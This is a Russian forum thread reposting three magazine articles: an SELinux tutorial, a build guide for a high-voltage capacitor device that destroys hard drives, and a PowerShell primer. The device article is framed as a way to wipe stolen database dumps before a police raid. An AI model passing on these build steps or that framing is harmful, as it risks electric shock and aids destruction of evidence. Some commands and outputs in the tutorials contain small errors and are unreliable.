Тип (type) задается для объекта и определяет доступ к этому объекту. Тип - это то же самое, что и домен, но если домен относится к процессам, то тип - к файлам, каталогам, сокетам и т.п.

Роль (role) определяет список доменов, которые могут быть использованы. Домены, разрешенные для пользовательской роли, определяются в файлах политики. Если у роли нет доступа к домену, то при попытке выполнения действия с доменом, доступ будет запрещен. Лучше всего это продемонстрировать на примере: если тебе нужно разрешить непривилегированным пользователям (домен user_t) выполнить команду passwd, то в конфигурационном файле нужно прописать:

role user_r types user_passwd_t

Из команды видно, что пользователь с ролью user_r может входить в домен user_passwd_t, то есть может выполнить команду passwd.

Контекст безопасности (security context) - это набор всех атрибутов, которые связаны с файлами, каталогами, процессами, TCP-сокетами. Контекст безопасности состоит из сущности, роли, домена (или типа вместо домена). Команда id выводит текущий контекст безопасности.

Решение о переходе (transition) определяется контекстом безопасности, который будет назначен выполняемой операцией. Существует два вида переходов:

* переход домена процесса - используется при выполнении процесса определенного типа

* переход типа файла - используется при создании файла в определенных каталогах

Наконец, рассмотрим понятие «политики». Политика - это набор правил, контролирующих списки ролей, к которым у пользователя есть доступ, доступ ролей к доменам, доступ доменов к типам.

Ты точно разобрался с доменами/типами/ролями? Смотри, например, выражение «доступ ролей к доменам» означает, какие пользователи имеют право запускать те или иные процессы. А выражение «доступ доменов к типу» - какие процессы имеют право доступа к тем или иным объектам (файлам, каталогам, сокетам). Редактируя файлы политики, ты можешь настроить свою систему так, как пожелаешь.

Первоначальная настройка SELinux

Зарегистрируйся в системе как пользователь root и введи команду:

# system-config-securitylevel

В окне «Настройка уровня безопасности» перейди в закладку «Настройка SELinux». По умолчанию SELinux обычно выключена. Для ее включения установи флажок «Включено». Сразу после этого ты увидишь предупреждение о необходимости перемаркировать файловую систему правильными контекстами безопасности. В этом же окне сообщается, что перемаркировка ( она будет выполнена после перезагрузки системы, кстати, это — аналог команды «make relabel») может занять довольно много времени (зависит от размера файловой системы).

После этого обрати внимание на окно «Настройка SELinux». В нем можно выбрать тип политики. Пока доступна только одна политика - targeted (целевая).

Теперь нажми кнопку «OK» и перезагрузи компьютер командой «reboot». В процессе старта системы появится сообщение:

Warning -- SELinux relabel is required ***

Что свидетельствует о том, что SELinux будет перемаркировывать файловую систему. После этого пойдет привычная для тебя загрузка. Однако при входе в X Window на первую консоль будет выведено несколько не совсем обычных сообщений. Здесь ничего страшного нет — их формат мы разберем чуть позже. Первое, что хочется сделать, - это ввести команду id, чтобы просмотреть свой контекст безопасности:

context=root:system_r:hotplug_t

Роль system_r - это роль системы, которая выше роли sysadm_r.

Теперь самое время обратиться к конфигурационным файлам SELinux. Открой файл /etc/selinux/config. В нем будут всего две директивы: SELINUX и SELINUXTYPE. Первая может принимать следующие значения:

* enforcing - применить политику безопасности SELinux

* permissive - режим отладки (вместо запрета тех или иных операций SELinux будет просто выводить предупреждения)

* disabled - SELinux отключена

Для второй директивы возможны два значения:

* targeted - будут защищены только целевые сетевые демоны (которые будут явно указаны)

* strict - полная защита

Если тебе нужна полная защита, установи пакет selinux-policy-strict. Данный пакет находится на первом CD ASPLinux 11. Со второго компакта я бы посоветовал установить пакет selinux-doc. Дополнительная документация никогда не помешает.

Для аудита политик SELinux используется программа seaudit, но при запуске мы получаем сообщение, что не установлена политика по умолчанию. Интересно то, что на дистрибутивных дисках я так и не нашел пакет policy, содержащий эту дефолтную политику. Пришлось качнуть его из интернета: ftp://rpmfind.net/linux/ASPLinux/i386/RPM....3-3.noarch.rpm.

Выбор роли

Роль имеет большое значение, ведь у каждой роли свои полномочия. Например, sysadm_r полномочий намного больше, чем у user_r, поэтому нужно знать, как можно изменить роль. Хотя, с другой стороны, у targeted, в которой мы сейчас работаем, роли пользователей особого интереса не представляют, поскольку осуществляется защита только выбранных сетевых демонов. Но о команде newrole сказать все-таки нужно. Ее синтаксис следующий: «newrole -r роль». Например:

# newrole -r sysadm_r

После этого нужно будет ввести пароль для сущности (пароль пользователя). Если нет прав доступа к указанной роли, ты увидишь сообщение:

den:sysadm_r:sysadm_t is not a valid context

В этом случае указывается, что сущность den не имеет права доступа к роли sysadm_r.

Псевдофайловая система /selinux

При запуске системы с поддержкой SELinux в корне появится каталог /selinux - это псевдофайловая система SELinux (наподобие /proc). С помощью этой ФС можно изменять некоторые параметры SELinux, например режим работы. Как уже было отмечено, есть два режима работы: разрешающий (permissive) и принудительный (enforcing). В первом режиме SELinux только ругается, и ОС работает так же, как и обычная Linux-система, без SELinux, а во втором случае применяются все настроенные политики. Отладочные сообщения в разрешающем режиме протоколируются в файл /var/log/messages. Для переключения в принудительный режим используется команда:

# echo "1" > /etc/selinux/enforce

Для перехода в разрешающий режим используется команда:

# echo "0" > /etc/selinux/enforce

Разборки с пользователями

Лучше добавить всех необходимых пользователей в систему до включения SELinux, но бывают такие случаи, когда сделать это просто невозможно (например, система работает продолжительное время, и все пользователи давно заведены). Если SELinux уже активна, то для добавления нового пользователя нужно выполнить следующий набор команд.

Становимся администратором:

$ su

Входим в роль sysadm_r:

# newrole -r sysadm_r

Добавляем нового пользователя:

# useradd -c "New user" -m -d /home/newuser -g users \

-s /bin/bash -u 1005 newuser

# passwd newuser

Но этого мало. Также требуется настроить роли пользователя. Для этого в файл /etc/selinux/users добавляем строку:

user newuser roles { user_r };

Таким образом мы назначаем пользователю newuser роль user_r. Если тебе нужно, чтобы пользователь имел доступ к нескольким ролям — тогда укажи несколько ролей через пробел, например:

user setest roles { user_r sysadm_r };

Для активации изменений введи команду:

# make -C /etc/selinux load

По окончании этой операции ты увидишь такие сообщения:

Success

touch tmp/load

make: Leaving directory `/usr/share/selinux/policy/current'

Нужно отметить, что если пользователю нужен доступ только к роли user_r, то это можно даже не указывать. Явное указание необходимо лишь в случае, когда пользователю требуется изменить свой пароль самостоятельно.

Влезаем в политику

Теперь начинается самое интересное. Мы будем редактировать нашу политику. Сейчас у нас используется политика targeted, подразумевающая защиту только указанных тобой сетевых демонов. Запусти конфигуратор system-config-securitylevel. На закладке SELinux появится возможность редактирования политики. Там все просто: приводится список служб и для каждой службы набор опций SELinux. Например, вот список опций для FTP:

* выключить защиту SELinux для демона ftpd;

* выключить защиту SELinux для демона initd;

* разрешить ftp читать/записывать файлы в домашних каталогах.

А вот список привилегий пользователя:

* позволить пользователям читать любые файлы по умолчанию;

* разрешить пользователям запускать pppd-соединения.

Читаем сообщения SELinux

Рассмотрим пример типичного ругательства SELinux, которое можно обнаружить в /var/log/messages:

May 21 14:44:12 localhost kernel: audit (1148208252.610:29): avc: denied { read } for pid=2054 comm="bash" name=".bash_profile" dev=hda6 ino=23695 scontext=root:system_r:hotplug_t tcontext=root:object_r:user_home_t tclass=file

Строка «avc: denied» означает, что операция была запрещена. Далее следует идентификатор процесса, пытающегося выполнить операцию (for pid), имя процесса (comm), имя объекта (name), имя устройства (dev), номер инода объекта (ino), контекст безопасности процесса (scontext), контекст безопасности объекта (tcontext) - в данном случае это файл «.bash_profile» и тип целевого объекта (tclass=file - тип объекта - файл).

INFO

В UNIX может использоваться одна из следующих моделей доступа:

* дискретное управление доступом (Discretionary Access Control, DAC);

* принудительное управление доступом (Mandatory Access Control, MAC);

* модель тип-домен (Domain Type Enforcement, DTE).

WIKIPEDIA

SELinux (от англ. Security-Enhanced Linux — Линукс с улучшенной безопасностью) — это специальная версия ядра Линукс и программ, которые обеспечивают поддержку принудительного контроля доступа, базирущегося на принципе наименьших прав. Это не дистрибутив Linux, а набор изменений, которые могут быть применены к операционным системам на базе ядра Linux и некоторым не-Linux системам, таким как BSD.
WWW

Не стоит расценивать эту статью как исчерпывающее руководство по системе SELinux, поскольку мы не рассмотрели даже и половины ее возможностей. Вот что еще можно почитать:

* gazette.lrn.ru/rus/articles/intro_selinux.html - введение в SELinux;

* www.nsa.gov/selinux/faq.html - FAQ от NSA (на английском, но прочитать нужно обязательно!);

* dkws.org.ua/index.php?page=show&file=a/hacker/-hacker - мои статьи по LIDS и GrSecurity





--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 19 2006, 13:58
Сообщение #24


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Убийца жестких дисков


Собираем магнитный уничтожитель данных

Ты наверняка слышал множество баек об устройствах для мгновенного уничтожения данных, хранящихся на жестких дисках. Якобы есть такая пушка, которую наводишь в сторону компьютера, нажимаешь на курок, и после этого мощный импульс электромагнитного поля стирает все данные с жесткого диска, попутно выжигая всю электронику в радиусе 10-ти метров. Согласись, любопытная штука. Недавно мы решили проверить на практике, насколько вообще возможно уничтожать данные магнитным полем, и смастерили настоящего монстра: убийцу жестких дисков.

Вообще, идея такого девайса зрела у меня в голове очень давно: еще когда мы делали статью о восстановлении данных, я разговорился с ребятами в R.Lab и они рассказали, что у них есть возможность достать девайс, мгновенно выжигающий всю информацию с хардов. Мне, естественно, сразу захотелось достать это устройство, провести с ним ряд экспериментов и написать для тебя статью.

Зачем это нам?

Согласись, чрезвычайно любопытно: возможно ли испортить жесткий диск магнитным полем, созданным в домашних условиях? Сложно ли это сделать? Насколько сильными будут повреждения? Возможно ли будет восстановить хоть часть инфы с поврежденного жесткого диска? Развернутые ответы на все эти вопросы ты получишь в этой статье.

Вторая вещь, которая подогревала наш энтузиазм, заключается в практическом интересе. У тебя, как и у всех крутых хакеров, я уверен, на жестком диске находится масса очень важной и интересной для тебя информации: зловредные сплоиты, дампы вкусных баз данных, занимательные логи icq и так далее. Согласись, очень не хочется отдавать всю эту информацию отряду ОМОН, который по недоразумению вышиб дверь в твоей квартире smile.gif. Времени, сам понимаешь, в такой ситуации очень немного: поэтому все программные клинеры идут лесом. Нам срочно нужно спаять устройство, которое за пару наносекунд не оставит ни бита ценной информации на твоем винчестере.

Поехали

Достать убийцу hdd у ребят в R.Lab не получилось, и я подумал, что это даже к лучшему: куда круче самостоятельно сделать такую штуку smile.gif. Через несколько дней я познакомился с настоящим техно-маньяком Серегой (dlinyj), и мы договорились, что он сделает девайс и напишет об этом в журнале. В один из жарких летних вечеров мы встретились у метро и поехали в его логово. Надо сказать, квартирка у него колоритная. В комнате, где он работает, все засыпано блоками питания, старыми материнскими платами, конденсаторами, самодельными колонками, ламповыми усилителями, разными фрикерскими девайсами и просто отборным мусором. Но, видимо, именно такая обстановка сделала этого парня самим собой: паяет он отлично, быстро соображает и каждую секунду придумывает по 2-3 новые схемы лампового усилка.

На этом я (nikitozz) заканчиваю введение и отдаю тебя в руки техноманьяка Сереги. Сейчас он тебе расскажет, как мы убивали винчестеры.

Детали gauss gun

Идея девайса очень простая: винчестер помещается в катушку индуктивности (спираль из медной проволоки с большим числов витков), на которую разряжается конденсатор большой емкости. Как тебе известно из школьных уроков физики, электрический ток, проходя по катушке, создает магнитное поле, которое и будет стирать инфу с харда. Чем больше напряжение заряда, емкость конденсатора и число витков у катушки, тем сильнее магнитное поле и больше вероятность того, что мы убьем жестких диск.

Я говорил о конденсаторе в единственном числе — на практике же мы будем использовать целую батарею конденсаторов. Я заюзал электролитические конденсаторы и сетевое напряжение 220 вольт (которое после выпрямления достигает 310 В). Был взят обычный компьютерный БП, в котором уже есть выпрямитель и кондеры. Подойдет для этих целей даже горелый БП, главное, чтобы работал выпрямительный диодный мост и были живыми кондеры.

Что касается дросселя, то для его изготовления подойдет любой медный кабель достаточной длины (метров 20-30 хорошо бы!).

Модификация БП

Начнем с самого интересного — с модификации блока питания. В компьютерном БП, как и во многих импульсных источниках питания, выпрямительные конденсаторы подключаются параллельно со специальными резисторами, которые называются «шунтирующими». Это делается для того, чтобы при отключении питания конденсаторы сами быстренько разрядились. Нам как раз нужно, чтобы конденсаторы при отключении питания не разряжались на резисторы, а зяряд хранился. Эти резисторы нужно откусить кусачками или выпаять (см. фотографии). Обрати внимание, что после выпрямителя напряжение составляет 310 вольт, а электролитные кондеры рассчитаны обычно на 200. Почему же они не взрываются? Дело в том, что они включены последовательно, а значит, на каждый конденсатор приходится по 155 вольт. Но суммарная емкость этих конденсаторов будет вполовину меньше написанной на корпусе (из-за их последовательного соединения).

Если БП был рабочим, необходимо перерезать все дорожки, ведущие к основной схеме БП. В моем случае блок был горелым, и это было не актуально.

На плате БП смонтирована пара здоровых конденсаторов – два самых больших цилиндрика. С одной стороны на пару подается «-», с другой — «+». Сами конденсаторы между собой соединяются как батарейки в плеере, минус к плюсу. Знать это нам нужно, чтобы наращивать емкость конденсаторов. Как показала практика, стандартных конденсаторов блока питания вполне хватает для стирания винта, но мы, для верности, подпаяем к ним еще пару кислотных кондеров, взятых из старой советской техники. Надо знать, что минус у таких конденсаторов находится «под гайкой», то есть на корпусе. Плюс — на центральном контакте. Соответственно, нужно припаять минус конденсатора в блоке питания к плюсу внешнего кондера — его центральному контакту. Это, опять же, видно на наших фотографиях.

Модифицированный таким образом блок питания можно уже использовать для уничтожения информации. Поэтому мы готовы провести первый опыт.

Первый опыт

Для первого опыта я взял обмоточный провод с сечением 1 мм и просто намотал его на винт. Получилось порядка 200-300 витков. Затем я протестировал винт (для этого опыта был взят Maxtor 80 gb с кучей бэдов, котоырй ценности не представлял). Я убедился в том, что он определяется в биосе и подпаял один конец катушки к «+» конденсаторной батареи блока питания; к другому концу дросселя я припаял проводок, конец которого покрыл тонким слоем припоя. К минусу нашего блока питания я припаял второй проводок. Эти два провода служили мне «кнопкой» - для разрядки конденсаторов на катушку достаточно просто соединить их. Почему я не заюзал культурную кнопку или тумблер? Дело в том, что обычная кнопка, рассчитанная на напряжение меньше 400 вольт, просто выйдет из строя при попытке использования: контакты крепко приварятся друг к другу smile.gif. Подходящей кнопки под рукой не было, и я решил обойтись просто замыканием двух голых проводов

Переходим к самой любопытной части опыта. Блок питания я закрыл крышкой, чтобы, если конденсаторы вдруг взорвутся, остаться целым. БП я подключил через сетевой фильтр - его легко отключить. Включив питание и подождав несколько секунд, я отключил блок питания от сети и замкнул два описанных выше провода. Произошел мощный хлопок, и меня ослепила яркая вспышка. В это же самое время по намотанной на винчестер катушке пробежал очень большой ток, который создал сильное магнитное поле внутри дросселя. Этот мощный импульс хаотично переориентировал магнитные домены в информационном слое и напрочь убил хард, уничтожив всю информацию на нем.

Проверив хард, я убедился в том, что он не определяется в БИОСе и вышел из строя. Это, в общем-то, логично: системная информация хранится на блинах и теперь она затерта. Однако меня не покидала следующая мысль: я не снял контроллер с винта, и магнитное поле могло просто убить всю электронику. Поэтому пришлось провести второй опыт: я взял древний 500 Мб Seagate, увеличил емкость конденсаторной батареи и повторил все действия. Опять хлопок, вспышка и приятное ощущение, когда винчестер не определился в биосе smile.gif.

Это были вводные эксперименты. Сейчас настало время сделать полноценный хакерский девайс, который можно стационарно установить в компьютер и который, при жесткой необходимости, убьет напрочь твой хард.

Крутой девайс

Для создания нашего мегадевайса нам потребуется: корпус от съемных хардов( mobile rack или любой другой корпус, устанавливаемый в 5” отсек), пластмассовая коробочка от жестких дисков, 5 метров витой пары, горелый БП и корпус от него, несколько электролитических конденсаторов, рабочий БП и сам комп с хардом.

Для начала кладем винт в коробочку, и отрезаем торец этой коробочки, чтобы можно было подключить питание и шлейф. Затем обрезаем торчащие элементы, чтобы он хорошо и свободно помещался в 5” корпус.

После этого нужно подготовить провод. Удобно это делать в длинном коридоре, где его можно вытянуть на всю длину. Сначала снимаем внешнюю изоляцию кабеля и достаем оттуда 4 витых пары. Дальше - интереснее. Теперь надо каждую витую пару развить. Один конец пары вставляем в реверсивную дрель, другой конец можно отдать приятелю. Далее включаем дрель и разматываем (против часовой стрелки!) витую пару. Делать это надо аккуратно и внимательно; у нас на этот процесс ушел где-то час. Удобно делать втроем. Один держит дрель, второй — противоположный конец, а третий следит за размоткой и помогает развиться паре. После того как ты размотал витуху, у тебя будет 8 проводов — каждый по 5 метров длиной. Зачисли их концы и скрути в один 40-метровый кабель, обязательно заизолировав места скрутки.

Наматываем 40 метров

После этого, виток к витку, наматываем провод на коробку, внутри которой лежит винчестер. Когда весь кабель будет намотан на винчестер, нужно уложить его в 5-дюймовый бокс таким образом, чтобы он туда хорошо поместился, и ничего не торчало. Из бокса выводим IDE-шлейф, кабель питания и два конца обмотки для подключения к конденсаторам.

Теперь займемся блоком выпрямителя и батареей конденсаторов. Удобно все это добро разместить в корпусе от блока питания. Для этих целей я взял кусок от платы сгоревшего БП, оставив только блок выпрямителей и конденсаторы. В старых совковых теликах конденсаторы монтировались на шасси, под гайку. Само шасси было «-», а центральный электрод — «+». Учитывай это. Спаиваем вместе все конденсаторы, строго соблюдая полярность. Я оставил кусок шасси, и просто подпаял к нему «-». Далее закрепляем все это дело в корпусе от БП. Оставшийся кусок платы я поставил на штатные места, предварительно подпаяв два провода на «+» и «-», заведя их на конденсаторы и провода питания, которые пойдут в сеть 220 вольт. Блок совковых конденсаторов нельзя просто так бросить в корпус БП - тогда на корпусе будет нефиговый потенциал, и тебя просто дернет крепко током. Так что при закреплении их в металлическом корпусе необходимо изолировать их от стенок — обмотай их изолентой.

Далее из корпуса выводим две пары проводов: одна пара - сетевые провода на 220 вольт, вторая пара - на дроссель жесткого диска. Аккуратно закрываем конденсаторно-выпрямительный блок, следя за тем, чтобы кондеры и разные контакты не касались корпуса. Лучше все оголенные провода заизолировать, а то лужа расплавленного металла на полу, которая когда-то была твоим компом, вряд ли кого-то обрадует smile.gif.

Затем разбираем рабочий БП, который и будет питать весь комп, и припаиваем сетевое питание нашего девайса. Рекомендую подпаиваться к тумблеру, откуда идет провод на плату штатного БП, чтобы можно было легко обесточивать вместе с компом и наш девайс. Удобно в корпусе штатного БП выломать несколько прутиков из решетки и провести таким образом в корпус БП провод. Завинчиваем корпус штатного БП и уже можем провести первые испытания. На АТХ-разъеме БП перемыкаем зеленый и черный провод, чтобы он мог включиться без «мамки». В принципе, можно подрубить его к «мамке» и включить через нее, но это не спортивно. Смотрим, чтобы провода от конденсаторов не перемыкались, и щелкаем тумблером, подавая питание в цепи адской машины. Здесь будь очень внимателен, смотри, чтобы никто не касался проводов, и ничего их не замыкало. Автора статьи именно на этом этапе хорошенько дернуло током. Если кулер закрутился, и ничего не сгорело, не взорвалось, не задымилось - уже неплохо. Затем отключаем питание, и очень аккуратно, на вытянутых руках, перемыкаем проводки, разряжая конденсаторы. Должна сверкнуть яркая вспышка и раздастся хлопок. Импульс тока настолько сильный, что если замкнуть эти два контакта тонким проводом, то он превратится в пар, красиво разбрызгивая металл.

Если вся операция прошла нормально, и все остались живы, а главное, ты увидел столь чудесный фейерверк, то можно переходить к заключительному этапу - подключению кнопки и монтажу всего в компьютерном корпусе. Устанавливаем штатный БП. Затем берем заранее подготовленную красную кнопку, смотрим, чтобы кнопка была рассчитана на большое напряжение, и ее контакт был нормально разомкнут (то есть, когда она не нажата, ток через нее не течет). Я ее подключал выносной в отдельном корпусе, изготовленном из порядком изнасилованного и так уже дохлого БП smile.gif. Подключив один контакт батареи конденсаторов напрямую к обмотке на харде, я хорошенько все заизолировал. Второй контакт подключаем к проводу, идущему на кнопку, затем второй провод подключаем к второму концу обмотки харда. Удобно пропустить все провода, идущие к харду, сразу через пятидюймовый отсек, поскольку снаружи удобнее монтировать.

Завершение

На этом этапе, собственно, у тебя есть работающйи компьютер — жесткий диск определяется, система загружается. Но у твоего компа есть секрет: жесткий диск обмотан шахидской намоткой из медного провода, и стоит тебе нажать на красную кнопку, как вся информация на винчестере мгновенно будет испорчена.

Вердикт восстановителей

Надо сказать, что мы очень лихо признали тот факт, что информация на жестких дисках действительно уничтожилась. Мы лишь зафиксировали тот факт, что винчестеры вышли из строя, испортились. С вопросом, можно ли восстановить с них какую-то информацию, мы обратились в R.Lab, и вот что они нам ответили.

!!!Еще 500 байт!!!

310 вольт

Внимание!!! Напряжение высокое: 310 вольт. Будь предельно осторожен. Разрядку конденсаторов осуществляй ТОЛЬКО при отключении от сети. При замыкании проводов, учти, что искра настолько сильная, что в месте замыкания проводов метал плавится и разбрызгивается — можно запросто остаться без глаз. Автора этой статьи несколько раз при написании било током, но, увы, он остался жив и дописал статью. smile.gif

Использование конденсаторов

Не забывай, что напряжение, на которое рассчитаны конденсаторы, должно быть не меньше 400 вольт. Если оно меньше, то их нужно ставить последовательно. Например, если ты вытащил их старого телека электролиты по 50 вольт на 1000 мкФ, то их нужно соединить с батареей из 8 штук, строго соблюдая полярность (как батарейки в плеере). Суммарная емкость этих 50-вольтовых будет 1000/8 =125 мкФ. Бери для последовательного соединения только одинаковые конденсаторы. Если будут разные кондеры, то их суммарная емкость определяется по формуле, которую можно найти в школьном учебнике физики


p.s. а лучше с окна его сразу или по веревке спустить на нижний балкон


Сообщение отредактировал Metallica - Nov 19 2006, 14:08


--------------------
Самые лучшие отзывы обо мне : [лопатой мозги вправить ], [Oбиженный жизнью заморыш],[ грубый и туповатый] , [не хватает интеллекта смотреть на мир шире. И все враги.], [озлобленный мальчик, помешанный на «членах» ] , [узколобость и шовинизм - это к имбецилам и другим болезням]
Пользователь offlineПрофайлОтправить личное сообщение
Вернуться к началу страницы
+Цитировать сообщение
Metallica
сообщение Nov 19 2006, 16:06
Сообщение #25


Oбиженный жизнью заморыш
Group Icon

Группа: Administrators
Сообщений: 2 136
Регистрация: 4-August 06
Из: Матрица
Пользователь №: 504
Имя: TONY MONTANO
Настроение: KILL EM ALL
Заходит на форум с гостевика или полного инета.



Могучий шелл

Изучаем новую перспективную разработку от Microsoft

Жалкое зрелище представляет эта командная строка в Windows! Даже при большом желании сделать что-то толковое в ней сложно. Остается только возмущаться: «Мол, что за недоделка такая, пережитки досовских времен!» Не в пример cmd.exe, юниксовые оболочки позволяют комфортно чувствовать себя в консоли и автоматизировать рутинные действия любой сложности. Microsoft, конечно, понимает шаткость своего положения, поэтому с перепугу опубликовала бета-версию своего нового командного шелла. Штука получилась знатная: она обещает стать основным нововведением грядущей Windows Vista.

Экскурс в историю

Графический интерфейс в винде — стандарт де-факто. Консольные версии утилит, вообще говоря, большая редкость и не популярны среди пользователей. В никсах же все с точностью до наоборот — большинство приложений работают из командной строки, для которых нередко создаются надстраиваемые графические интерфейсы (frontend’ы) с помощью специальных средств разработки QT и GTK. Но опытный админ ловко оперирует консольными командами и может совершенно спокойно работать только в консоли. Преимущества подобного подхода на лицо.

Гейтс уже задумывался о том, что командный интерпретатор нужно менять. Еще в 1998-м году он дал добро на выпуск Windows Script Host. WSH существовал как надстройка над Win98, но не был полностью интегрирован с командной строкой, потому и провалился. И это несмотря на то, что исполняемые сценарии можно было писать на JScript, VBScript и других языках, например Perl, которые пользователь мог прикрутить самостоятельно. В системе нашлось немало бажных мест, которые быстро приспособили в своих целях вирусы и, по сути, окончательно похоронили благое начинание Microsoft.

Как говорят, первый блин комом. Следующая попытка Microsoft обещает стать куда более удачной или, вернее сказать, уже таковой стала. В сентябре прошлого года компания анонсировала бета-версию новой командной оболочки с кодовым названием Monad. Разработка позволяла пользователю выполнять любые действия из командной строки, используя удобный и интуитивно понятный синтаксис из языка высокого уровня. Со временем за разработкой закрепилось названия PowerShell, а также репутация одного из лучших нововведений Vista.

Устройство PowerShell

Чтобы на пальцах не объяснять прелести нового шелла, мы сразу приступим к практике. Такие вещи лучше всего объяснять на примерах. А чтобы добиться максимального результата, я рекомендую экспериментировать с командами прямо во время чтения статьи. Так ты лучше поймешь, о чем идет речь, и в дальнейшем будешь лучше ориентироваться среди команд и конструкций PowerShell. Правда, перед началом экспериментов шелл придется установить. Дистрибутив можно закачать с сайта www.microsoft.com, предварительно пройдя простую регистрацию, или же в готовом виде взять с нашего диска. Еще потребуется заинсталлить .Net Framework второй версии, но, скорее всего, он у тебя уже установлен.

Сразу предупреждаю: синтаксис PowerShell довольно специфичен и заметно отличается от юниксовых (bash’a или zsh). Сначала он даже может показаться сложным, но это только первое впечатление. Первая отличительная особенность шелла — это специфическая обработка вводимой информации. Если bash обрабатывает любое выражение как команду, то в PowerShell используется совершенно другой подход. Он пытается вычислить выражение. То есть если в командной строке bash набрать «5+3», то оболочка выдаст сообщение о том, что команда не найдена. А новая разработка от Microsoft вычислит выражение и выдаст результат на экран. Например:

PS C:\Documents and Settings\si> "test"

test

PS C:\Documents and Settings\si> 5+3*2

11

Проще говоря, PowerShell работает с данными, которые вводятся в командную строку с переменными. Ими даже можно манипулировать с помощью разных методов. Смотри, к примеру, на результат метода split:

PS D:\Documents and Settings\snake> "shut up mazafaka".split(" ");

shut

up

mazafaka

Строка разбилась на части по пробелу. Попробуй метод substring(int Indexstart) - выведется часть строчки, начиная с indexstart.

Впрочем, любые команды и запуск исполняемых файлов осуществляется как есть — главное не писать их в кавычках. Очень просто объявляются и переменные. Для этого используется стандартный оператор присвоения — «=». Зададим, например, массив и хэш значений:

PS C:\Documents and Settings\si> $massiv=@(1,2,3,4,5)

PS C:\Documents and Settings\si> $hash=@{key0="value1"; key1="value2"; key2="value3"}

А теперь выведем второй элемент каждого из них (замечу, что нумерация индексов начинается с нуля):

PS C:\Documents and Settings\si> $massiv[1]

2

PS C:\Documents and Settings\si> $hash["key1"]

value1

Теперь поговорим о другом важном отличие PowerShell. В никсах каждая утилита имеет разное количество аргументов и парсит переданные ей данные по-своему, то же самое касается и вывода данных. В msh команды называются Command lets (сокращенно — cmdlet'ами) и наследуются от одного базового класса. Отсюда все вытекающие последствия: данные они парсят одинаково, обладают схожими методами и на выходе подают данные в специально структурированном виде. Все командлеты — это наименьший модуль функциональности системы, своеобразный аналог встроенных команд в других оболочках. Cmdlet обозначается парой «глагол-оболочка», поэтому всегда имеет очень простое и запоминающиеся имя. Например, список запущенных процессов и информации о них можно получить, набрав в консоли команду Get-Process:

PS C:\Documents and Settings\si> Get-Process

Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName

------- ------ ----- ----- ----- ------ -- -----------

105 5 1216 3580 32 0,06 2940 alg

16 1 1388 1152 13 0,02 1284 cmd

581 7 1852 5256 28 60,72 896 csrss

[..]

По умолчанию в поставке поверх шелла идет примерно 130 встроенных cmdlet’ов. Их список можно получить с помощью командлета get-commands, а справку по каждому из них — с помощью get-help <название_командлета>.

Для удобства использования многие команды можно вызвать так, как если бы ты работал в юниксе. Cat покажет содержимое файла, ls выведет список файлов и папок в текущей директории, а history освежит память пользователя, выдав последние набранные команды. Хотя в PowerShell для этого используется Get-Content, Get-ChildItem, Get-History. Все это осуществляется на базе специальных псевдонимов (алиасов). Узнать соответствия псевдонимов настоящим командам можно, набрав в консоли команду alias.

Псевдонимы и сценарии

Интерпретатор поддерживает С#-подобный скриптовый язык, который использует такие возможности шарпа, как циклы (for,while,foreach), условия(if,switch), определение своих собственных пользовательских функций и ограничение видимости переменных (global/script/local/private). Кроме того, можно использовать регулярные выражения, например, в case-блоках оператора switch:

switch -regex ($var)

{

".*[0-9]+" { "строка заканчивается числом!" }

default { "строка не заканчивается числом." }

}

Ясно, что все управляющие конструкции языка программирования высокого уровня и более сотни команд на все случаи жизни позволяют автоматизировать любое действие. Нужно только захотеть. Предлагаю рассмотреть пару примеров.

Допустим, у нас в папке вперемешку свалены куча разных файлов и статья для Х с расширением doc. Легким движением руки мы получаем информацию о всех документах Word’а:

Get-ChildItem | sort-object extension | select name, length, extension | where { $_.extension -eq ".doc" }

Name Length Extension

---- ---- ---------

about_msh_for_step.doc 16789 .doc

Чтобы добиться результата, я использовал несколько cmdlets. Данные между ними последовательно передаются с помощью так называемого пайпа (| — полный аналог из bash’а). Если читать команду дословно, то получается такая картина: вывести файлы, отсортированные по расширению, с информацией об имени файла, размере и расширении, которые удовлетворяют требованию «расширение равно .doc». Все просто и логично. Браво, MS!

Естественно, команды совершенно необязательно набирать вручную в командной строке. Можно заранее определить нужную последовательность команд и запихнуть их в скрипт.

Сценарии PowerShell представляют собой обычные текстовые файлы с расширением ps1 (в старых версиях — .msh). Попробуем написать простенький сценарий, в котором определим функцию для вывода общего количества файлов в заданном каталоге и их общего размера. На практике это реализуется очень просто.

function dir_size

{

param ($dir)

$list = get-childitem $dir

foreach ($ob in $list)

{

$i++;

$size = $size + $ob.Length;

}

write-host "Размер директории: " $size "Она содержит " $i "элементов"

set-alias dsz dir-size

}

С помощью команды param мы присваиваем переменной $dir значение, которое было переделано в качестве параметра функции (если бы их было несколько, то нужно было бы последовательно указывать несколько переменных через запятую), далее получаем список директории и заносим его в переменную $list. Для каждого элемента этого списка делается следующее: увеличивается счетчик общего количества данных (переменная $i), а к переменной $size прибавляется размер текущего объекта. Далее информация выводится на экран посредством команды Write-host, а также назначается короткий алиас для быстрого вызова команды. Запустить скрипт очень просто — ./”DirSize.ps1”. Другой вариант — записать функцию в профайл, речь о котором пойдет ниже.

Фас, профиль!

Все, что находится в файле-профайле, исполняется со стартом PowerShell автоматически. Этот файл может лежать в таких местах:

1) "\Documents and settings\All users\Documents\PsConfiguration\profile.ps1"

2) "\Documents and settings\All users\\Documents\PsConfiguration\<shellId>_profile.ps1"

3) "Мои документы\PsConfiguration\profile.ps1"

4) "Мои документы\PsConfiguration\<shellId>_profile.ps1"

Что пихать в профайл, я думаю, понятно: настройки приглашения, установку алиасов для команд, выполнение каких-нибудь будничных операций, не требующих твоего вмешательства. Приведу небольшой пример кода от гиков с http://mshforfun.blogspot.com/:

function prompt

{

$host.ui.rawui.WindowTitle = "Files: " + (get-childitem).count + " Process: " + (get-process).count

Write-Host ("PS " + $(get-location) +">") -nonewline -foregroundcolor Magenta

return " "

}

